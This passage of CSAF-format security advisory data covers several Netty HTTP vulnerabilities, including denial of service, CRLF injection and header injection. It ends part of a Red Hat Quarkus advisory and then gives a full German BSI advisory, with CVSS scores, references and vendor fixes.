          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat build of Quarkus 3.27.4.SP3"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-56819"
        },
        {
          "category": "external",
          "summary": "RHBZ#2505980",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2505980"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-56819",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56819"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-56819",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56819"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003bhttps://github.com/netty/netty/releases/tag/netty-4.2.16.Final",
          "url": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003bhttps://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/commit/bb2ff68a1fb71cb4b0eb9a9e17b66c52aff680c6",
          "url": "https://github.com/netty/netty/commit/bb2ff68a1fb71cb4b0eb9a9e17b66c52aff680c6"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final",
          "url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final",
          "url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/security/advisories/GHSA-93wv-jw9v-4972",
          "url": "https://github.com/netty/netty/security/advisories/GHSA-93wv-jw9v-4972"
        }
      ],
      "release_date": "2026-07-21T22:11:17.470000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-29T14:54:22+00:00",
          "details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat build of Quarkus 3.27.4.SP3"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:47189"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat build of Quarkus 3.27.4.SP3"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "io.netty/netty-codec-http2: Netty: Denial of Service via HTTP/2 DATA frame memory leak"
    },
    {
      "cve": "CVE-2026-59898",
      "cwe": {
        "id": "CWE-358",
        "name": "Improperly Implemented Security Check for Standard"
      },
      "discovery_date": "2026-07-09T00:00:00+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2507479"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in netty-codec-http. The WebSocket handshaker in this component fails to properly validate protocol version information during the WebSocket upgrade process. A remote attacker can exploit this vulnerability by manipulating the WebSocket handshake, leading to a bypass of security checks or the negotiation of unexpected protocol versions. This could potentially enable protocol-level attacks.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "io.netty/netty-codec-http: Netty: Protocol version confusion in netty-codec-http (WebSocket)",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This Moderate flaw in Netty\u0027s WebSocket handshaker, specifically within `netty-codec-http`, could allow an attacker to bypass security checks or force unexpected protocol versions during the WebSocket upgrade process. This issue primarily impacts Red Hat products that leverage Netty for WebSocket communication, potentially leading to protocol-level attacks under certain deployment configurations.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat build of Quarkus 3.27.4.SP3"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-59898"
        },
        {
          "category": "external",
          "summary": "RHBZ#2507479",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2507479"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-59898",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59898"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-59898",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59898"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/security/advisories/GHSA-4mp9-239f-g9hg",
          "url": "https://github.com/netty/netty/security/advisories/GHSA-4mp9-239f-g9hg"
        }
      ],
      "release_date": "2026-07-09T00:00:00+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-29T14:54:22+00:00",
          "details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat build of Quarkus 3.27.4.SP3"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:47189"
        },
        {
          "category": "workaround",
          "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
          "product_ids": [
            "Red Hat build of Quarkus 3.27.4.SP3"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat build of Quarkus 3.27.4.SP3"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Moderate"
        }
      ],
      "title": "io.netty/netty-codec-http: Netty: Protocol version confusion in netty-codec-http (WebSocket)"
    },
    {
      "cve": "CVE-2026-59899",
      "cwe": {
        "id": "CWE-409",
        "name": "Improper Handling of Highly Compressed Data (Data Amplification)"
      },
      "discovery_date": "2026-07-09T00:00:00+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2507482"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in the Netty netty-codec-http component. A remote attacker can send HTTP requests containing highly compressed data. The HTTP decoder in netty-codec-http fails to properly limit the decompression of this content, causing the system to consume excessive memory. This can lead to memory exhaustion and a denial of service (DoS), making the service unavailable to legitimate users.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "io.netty/netty-codec-http: Netty: Memory exhaustion in netty-codec-http (decompression bomb)",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This is an Important vulnerability in Netty\u0027s HTTP decoder, which could lead to a denial of service. Red Hat products utilizing `netty-codec-http` are susceptible to memory exhaustion when processing specially crafted, highly compressed HTTP payloads. This allows a remote attacker to trigger excessive memory allocation, impacting system availability.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat build of Quarkus 3.27.4.SP3"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-59899"
        },
        {
          "category": "external",
          "summary": "RHBZ#2507482",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2507482"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-59899",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59899"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-59899",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59899"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/security/advisories/GHSA-q4f6-jm68-57ww",
          "url": "https://github.com/netty/netty/security/advisories/GHSA-q4f6-jm68-57ww"
        },
        {
          "category": "external",
          "summary": "https://netty.io/news/2026/07/09/4-1-136-Final.html",
          "url": "https://netty.io/news/2026/07/09/4-1-136-Final.html"
        }
      ],
      "release_date": "2026-07-09T00:00:00+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-29T14:54:22+00:00",
          "details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat build of Quarkus 3.27.4.SP3"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:47189"
        },
        {
          "category": "workaround",
          "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
          "product_ids": [
            "Red Hat build of Quarkus 3.27.4.SP3"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat build of Quarkus 3.27.4.SP3"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "io.netty/netty-codec-http: Netty: Memory exhaustion in netty-codec-http (decompression bomb)"
    },
    {
      "cve": "CVE-2026-59900",
      "discovery_date": "2026-07-09T00:00:00+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2507480"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in Netty\u0027s netty-codec-http2 component. The HTTP/2 encoder does not properly handle special characters in HTTP headers. This vulnerability allows a remote attacker to craft specific HTTP/2 requests, leading to HTTP response splitting and header injection attacks. Such attacks can enable an attacker to manipulate web content or inject malicious headers.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "io.netty/netty-codec-http2: Netty: Improper header neutralization in netty-codec-http2",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This Moderate impact flaw in Netty\u0027s HTTP/2 encoder allows attackers to inject arbitrary header content via specially crafted HTTP/2 requests. This could lead to HTTP response splitting and header injection attacks in Red Hat products utilizing affected versions of netty-codec-http2.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat build of Quarkus 3.27.4.SP3"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-59900"
        },
        {
          "category": "external",
          "summary": "RHBZ#2507480",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2507480"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-59900",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59900"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-59900",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59900"
        }
      ],
      "release_date": "2026-07-09T00:00:00+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-29T14:54:22+00:00",
          "details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat build of Quarkus 3.27.4.SP3"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:47189"
        },
        {
          "category": "workaround",
          "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
          "product_ids": [
            "Red Hat build of Quarkus 3.27.4.SP3"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat build of Quarkus 3.27.4.SP3"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Moderate"
        }
      ],
      "title": "io.netty/netty-codec-http2: Netty: Improper header neutralization in netty-codec-http2"
    },
    {
      "cve": "CVE-2026-59921",
      "cwe": {
        "id": "CWE-93",
        "name": "Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027)"
      },
      "discovery_date": "2026-07-27T13:46:48.956000+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2507467"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in Netty\u0027s HttpPostRequestEncoder, a widely used Java networking library component responsible for constructing multipart HTTP request bodies. The issue arises because user-supplied filenames and field names are directly embedded into Content-Disposition MIME headers without any validation or sanitization of CRLF (\\r\\n) characters. Since MIME headers are delimited by CRLF sequences, an attacker who controls the filename in a multipart upload can inject arbitrary MIME headers into the request body. This may lead to limited Content-Type spoofing or header manipulation against middleware or storage layers processing the request, though the practical impact is constrained by the context in which Netty is deployed.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "io.netty/netty-codec-http: Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "Moderate: A CRLF injection flaw in the Netty Java networking library\u0027s multipart message encoder allows remote attackers with low privileges to inject arbitrary MIME headers. This can lead to Content-Type spoofing, stored cross-site scripting, or manipulation of downstream application logic, compromising data confidentiality and integrity without user interaction.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat build of Quarkus 3.27.4.SP3"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-59921"
        },
        {
          "category": "external",
          "summary": "RHBZ#2507467",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2507467"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-59921",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59921"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-59921",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59921"
        },
        {
          "category": "external",
          "summary": "https://github.com/netty/netty/security/advisories/GHSA-gcjf-9mgh-3p7g",
          "url": "https://github.com/netty/netty/security/advisories/GHSA-gcjf-9mgh-3p7g"
        }
      ],
      "release_date": "2026-07-09T00:00:00+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-29T14:54:22+00:00",
          "details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat build of Quarkus 3.27.4.SP3"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:47189"
        },
        {
          "category": "workaround",
          "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
          "product_ids": [
            "Red Hat build of Quarkus 3.27.4.SP3"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "ADJACENT_NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5.7,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat build of Quarkus 3.27.4.SP3"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Moderate"
        }
      ],
      "title": "io.netty/netty-codec-http: Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder"
    }
  ]
}

{
  "document": {
    "aggregate_severity": {
      "text": "hoch"
    },
    "category": "csaf_base",
    "csaf_version": "2.0",
    "distribution": {
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "de-DE",
    "notes": [
      {
        "category": "legal_disclaimer",
        "text": "Das BSI ist als Anbieter f\u00fcr die eigenen, zur Nutzung bereitgestellten Inhalte nach den allgemeinen Gesetzen verantwortlich. Nutzerinnen und Nutzer sind jedoch daf\u00fcr verantwortlich, die Verwendung und/oder die Umsetzung der mit den Inhalten bereitgestellten Informationen sorgf\u00e4ltig im Einzelfall zu pr\u00fcfen."
      },
      {
        "category": "description",
        "text": "Netty ist ein asynchrones, ereignisgesteuertes Netzwerk-Anwendungs-Framework f\u00fcr die schnelle Entwicklung von wartbaren, hochleistungsf\u00e4higen Protokollservern und -clients.",
        "title": "Produktbeschreibung"
      },
      {
        "category": "summary",
        "text": "Ein Angreifer kann mehrere Schwachstellen in Netty ausnutzen, um Sicherheitspr\u00fcfungen zu umgehen, Anfragen oder Header zu manipulieren, Zertifikatspr\u00fcfungen zu unterlaufen sowie einen Denial of Service zu verursachen.",
        "title": "Angriff"
      },
      {
        "category": "general",
        "text": "- Linux\n- UNIX",
        "title": "Betroffene Betriebssysteme"
      }
    ],
    "publisher": {
      "category": "other",
      "contact_details": "csaf-provider@cert-bund.de",
      "name": "Bundesamt f\u00fcr Sicherheit in der Informationstechnik",
      "namespace": "https://www.bsi.bund.de"
    },
    "references": [
      {
        "category": "self",
        "summary": "WID-SEC-W-2026-2356 - CSAF Version",
        "url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-2356.json"
      },
      {
        "category": "self",
        "summary": "WID-SEC-2026-2356 - Portal Version",
        "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2356"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-4qhr-g3c6-fcfx vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-4qhr-g3c6-fcfx"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-272m-gcwp-mpwg vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-272m-gcwp-mpwg"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-3g8r-4pfx-jmfh vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-3g8r-4pfx-jmfh"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-4mp9-239f-g9hg vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-4mp9-239f-g9hg"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-q4f6-jm68-57ww vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-q4f6-jm68-57ww"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-c69g-56f8-xwqj vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-c69g-56f8-xwqj"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-558v-64gr-wgg4 vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-558v-64gr-wgg4"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-6jqx-86gh-f27w vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-6jqx-86gh-f27w"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-93wv-jw9v-4972 vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-93wv-jw9v-4972"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-g7hg-vrcf-mvmr vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-g7hg-vrcf-mvmr"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-gcjf-9mgh-3p7g vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-gcjf-9mgh-3p7g"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-hpcc-26xq-25fv vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-hpcc-26xq-25fv"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-jppx-w49h-x2qq vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-jppx-w49h-x2qq"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-mvh2-crg5-v77c vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-mvh2-crg5-v77c"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-q6cq-mhr2-jmr5 vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-q6cq-mhr2-jmr5"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-vhch-2wf3-m8rp vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-vhch-2wf3-m8rp"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-wc96-39fc-566f vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-wc96-39fc-566f"
      }
    ],
    "source_lang": "en-US",
    "title": "Netty: Mehrere Schwachstellen",
    "tracking": {
      "current_release_date": "2026-07-21T22:00:00.000+00:00",
      "generator": {
        "date": "2026-07-22T09:20:42.612+00:00",
        "engine": {
          "name": "BSI-WID",
          "version": "1.6.0"
        }
      },
      "id": "WID-SEC-W-2026-2356",
      "initial_release_date": "2026-07-14T22:00:00.000+00:00",
      "revision_history": [
        {
          "date": "2026-07-14T22:00:00.000+00:00",
          "number": "1",
          "summary": "Initiale Fassung"
        },
        {
          "date": "2026-07-19T22:00:00.000+00:00",
          "number": "2",
          "summary": "Referenz(en) aufgenommen: EUVD-2026-45316"
        },
        {
          "date": "2026-07-20T22:00:00.000+00:00",
          "number": "3",
          "summary": "Referenz(en) aufgenommen: EUVD-2026-46133, EUVD-2026-46132"
        },
        {
          "date": "2026-07-21T22:00:00.000+00:00",
          "number": "4",
          "summary": "Referenz(en) aufgenommen: EUVD-2026-46452, EUVD-2026-46438, EUVD-2026-47564, EUVD-2026-47579, EUVD-2026-47582, EUVD-2026-47581"
        }
      ],
      "status": "final",
      "version": "4"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_version_range",
                "name": "\u003c4.2.16",
                "product": {
                  "name": "Open Source Netty \u003c4.2.16",
                  "product_id": "T056598"
                }
              },
              {
                "category": "product_version",
                "name": "4.2.16",
                "product": {
                  "name": "Open Source Netty 4.2.16",
                  "product_id": "T056598-fixed",
                  "product_identification_helper": {
                    "cpe": "cpe:/a:netty:netty:4.2.16"
                  }
                }
              },
              {
                "category": "product_version_range",
                "name": "\u003c4.1.136",
                "product": {
                  "name": "Open Source Netty \u003c4.1.136",
                  "product_id": "T056599"
                }
              },
              {
                "category": "product_version",
                "name": "4.1.136",
                "product": {
                  "name": "Open Source Netty 4.1.136",
                  "product_id": "T056599-fixed",
                  "product_identification_helper": {
                    "cpe": "cpe:/a:netty:netty:4.1.136"
                  }
                }
              }
            ],
            "category": "product_name",
            "name": "Netty"
          }
        ],
        "category": "vendor",
        "name": "Open Source"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2026-44891",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-44891"
    },
    {
      "cve": "CVE-2026-55831",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-55831"
    },
    {
      "cve": "CVE-2026-55833",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-55833"
    },
    {
      "cve": "CVE-2026-55851",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-55851"
    },
    {
      "cve": "CVE-2026-56745",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-56745"
    },
    {
      "cve": "CVE-2026-56816",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-56816"
    },
    {
      "cve": "CVE-2026-56817",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-56817"
    },
    {
      "cve": "CVE-2026-56819",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-56819"
    },
    {
      "cve": "CVE-2026-56820",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-56820"
    },
    {
      "cve": "CVE-2026-56821",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-56821"
    },
    {
      "cve": "CVE-2026-56822",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-56822"
    },
    {
      "cve": "CVE-2026-59898",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-59898"
    },
    {
      "cve": "CVE-2026-59899",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-59899"
    },
    {
      "cve": "CVE-2026-59900",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-59900"
    },
    {
      "cve": "CVE-2026-59901",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-59901"
    },
    {
      "cve": "CVE-2026-59920",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-59920"
    },
    {
      "cve": "CVE-2026-59921",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-59921"
    }
  ]
}